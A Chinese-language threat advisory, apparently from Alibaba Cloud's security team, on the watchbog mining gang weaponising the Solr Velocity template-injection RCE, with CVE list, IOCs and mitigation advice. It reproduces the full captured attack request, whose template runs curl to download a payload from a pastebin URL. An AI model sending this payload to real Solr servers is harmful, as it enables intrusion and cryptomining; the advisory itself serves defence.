威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述
近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利。建议用户及时排查自身主机是否受到影响。
值得注意的是,此漏洞利用代码于10月31日被公布,11月2日阿里云安全团队就已发现watchbog团伙利用此漏洞进行入侵,植入木马进行挖矿,漏洞公开不足2日便被挖矿团伙利用进行攻击牟利。可以看到,当新的漏洞被披露出来时,可供企业用户修复的时间窗口越来越短,因此防守方需要及时地关注新披露可利用漏洞,以及采取缓解措施或进行修复,必要时可考虑选用安全产品帮助保障安全。
背景介绍
watchbog挖矿团伙
watchbog团伙最早出现于2018年,是一个利用多种漏洞攻击方式向目标主机植入挖矿木马的恶意团伙,通过挖取门罗币牟利并维持C&C通信以供团伙后续动作。自出现后更新频繁,一直在尝试利用最新的漏洞进行攻击。
Solr Velocity 模板注入远程命令执行漏洞
Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。在2019年10月31日,国外安全研究员公开了Solr Velocity模板注入的POC。此漏洞存在于Solr默认集成组件Solr.VelocityResponseWriter中,参数params.resource.loader.enabled可以控制是否根据请求参数来加载指定模板,虽然默认为false,但攻击者可以通过发送/[core_name]/config来手动设置此参数的开启,之后便可构造恶意请求执行指令。
攻击者首先可以通过[core_admin]获取服务器core_name,之后通过发送以下命令将加载模板指令打开。

开启从参数指定模板后,攻击者便可以发送恶意代码从而进行恶意行为。

恶意脚本分析
11月2日,阿里云安全团队发现有攻击者利用Solr Velocity漏洞发起入侵,其会向受到此漏洞影响的主机发送以下数据:
GET /solr/scalebay_2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('curl -fsSL https://pastebin.com/raw/dhQaGbMa -o /tmp/baby'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
跟进其使用的脚本 https://pastebin.com/raw/dhQaGbMa,此脚本格式内容与阿里云安全团队之前捕获的watchbog恶意脚本内容格式基本一致,(可参考之前阿里云安全针对watchbog的分析文章,参考文末相关链接),可以确认为同一团伙所为,脚本相同内容不再赘述。除了新增了Solr Velocity攻击方式外,其新增了cleanoldpack函数用以清除旧版木马以及其他恶意团伙恶意程序,可见黑产之间的相互竞争也非常激烈。

其他攻击方式
| 序号 | 攻击方式 |
|---|---|
| 1 | Solr dataimport RCE(CVE-2019-0193) |
| 2 | Nexus Repository Manager(CVE_2019_5475) |
| 3 | Windows blueKeep RDP RCE (CVE-2019-0708) |
| 4 | JIRA模板注入(CVE-2019-11581) |
| 5 | Exim Mail Server 远程命令执行(CVE-2019-10149) |
| 6 | Solr 实体注入 (CVE-2017-12629) |
| 7 | Couchdb 远程命令执行(CVE-2018-8007) |
| 8 | Nexus Repository Manager 3 远程命令执行(CVE-2019-7238) |
| 9 | Jenkins 远程命令执行(CVE-2018-1000861) |
| 10 | Redis未授权访问、Redis任意lua字节码执行(CVE-2015-4335) |
IOC
pastebin[.]com/raw/dhQaGbMa
pastebin[.]com/raw/9QVpd02i
pastebin[.]com/raw/6HtLs31b
MD5:
9f63e1105214ea94766d8c2fe2ba0da0
安全建议
- 截止完成此稿,目前官方还未发布任何补丁,建议用户采用白名单策略限制与solr应用通信对象,并时刻关注官方对于此漏洞的反应。
- 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击。
- 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。
相关链接
- watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击
- 威胁快报|Solr dataimport成挖矿团伙新型利用方式
- 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发
本文作者:苍珀
本文为云栖社区原创内容,未经允许不得转载。
威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短的更多相关文章
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- Apache Solr Velocity模板注入rce+获取交互式shell
前言: 官方的poc.exp payload只能获取很低的命令执行权限,甚至有些符号.命令还被过滤了,例如管道符被过滤.并且不能写入.下载文件,不能使用管道符重定向文件.那么我们只能通过获取到交互式s ...
- Apache Solr < 8.2.0远程命令执行漏洞(CVE-2019-0193)
介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的D ...
- solr(CVE-2019-17558)远程命令执行
影响版本 Apache Solr 5.x到8.2.0版本 测试 https://github.com/jas502n/CVE-2019-0193
- solr(CVE-2019-0193)远程命令执行
影响版本 Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用) 安装 重启daoker 更新配置文件 systemctl dae ...
- solr(CVE-2017-12629)远程命令执行
影响版本Apache Solr 5.5.0到7.0.1版本 solr(CVE-2017-12629-RCE) 环境搭建 1.burp检测 创建listen POST /solr/demo/config ...
- Apache Solr Velocity模板远程代码执行复现
0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...
- 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞
2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...
- 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞
ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...
随机推荐
- 深入理解Redis的持久化机制和原理
Redis是一种面向“key-value”类型数据的分布式NoSQL数据库系统,具有高性能.持久存储.适应高并发应用场景等优势.它虽然起步较晚,但发展却十分迅速. 近日,Redis的作者在博客中写到, ...
- 测开之路八十二:匿名函数:lambda表达式
# 匿名函数:lambda表达式# lambda 参数: 逻辑f = lambda name: print(name)f('tom') f2 = lambda x, y: x + yprint(f2( ...
- js-jssdk微信H5选择多张图片预览并上传(兼容ios,安卓,已测试)
值得注意的是: 1.在微信H5中选择图片运用:wx.chooseImage,成功后返回: res.localIds用于上传图片使用 上传图片:wx.uploadImage. 2.上传图片的时候 ...
- Mac版-python环境配置(一):Python下载安装
Mac OS X系统自带python,可以在终端输入python查看版本[输入exit()即可退出],如下: 从上图中可以看到,mac自带python 2.7.10,版本相对较低.现在python已升 ...
- Python笔记(十八)_私有属性、实例属性、类属性
私有属性 如果要让内部属性不被外部访问,可以把属性的名称前加上两个下划线__,就变成了一个私有属性,只有内部可以访问,外部不能直接访问或修改. 这样就确保了外部代码不能随意修改对象内部的状态,这样通过 ...
- socketpair
与pipe的区别 pipe产生的文件描述符是半双工的,需要pipe两次才能实现全双工,产生的两个描述符是一个读,一个写 socketpair直接就可以全双工,产生的两个文件描述符的任何一个都可读可写 ...
- quartz CronExpression
一.Quartz Cron 表达式支持到七个域 名称 是否必须 允许值 特殊字符 秒 是 0-59 , - * / 分 是 0-59 , - * / 时 是 0-23 , - * / 日 是 1-31 ...
- tomcat内存使用情况
预发布阿里云服务器的容器 tomcat会自己无缘无故重启,故引出一些查看tomcat内存使用情况观察的细枝末节: 1️⃣当前端口号进程信息和GC使用情况(1)显示端口的PID:lsof -i:端口示例 ...
- P4126 [AHOI2009]最小割(网络流+tarjan)
P4126 [AHOI2009]最小割 边$(x,y)$是可行流的条件: 1.满流:2.残量网络中$x,y$不连通 边$(x,y)$是必须流的条件: 1.满流:2.残量网络中$x,S$与$y,T$分别 ...
- 在win7下面清除samba用户的登录状态
相信会有一部分刚开始测试samba服务器的人会有过这样的疑惑? 在win7下面使用一个samba用户的username和passwd登录过后,之后每次进去都是以这样的username和passwd进去 ...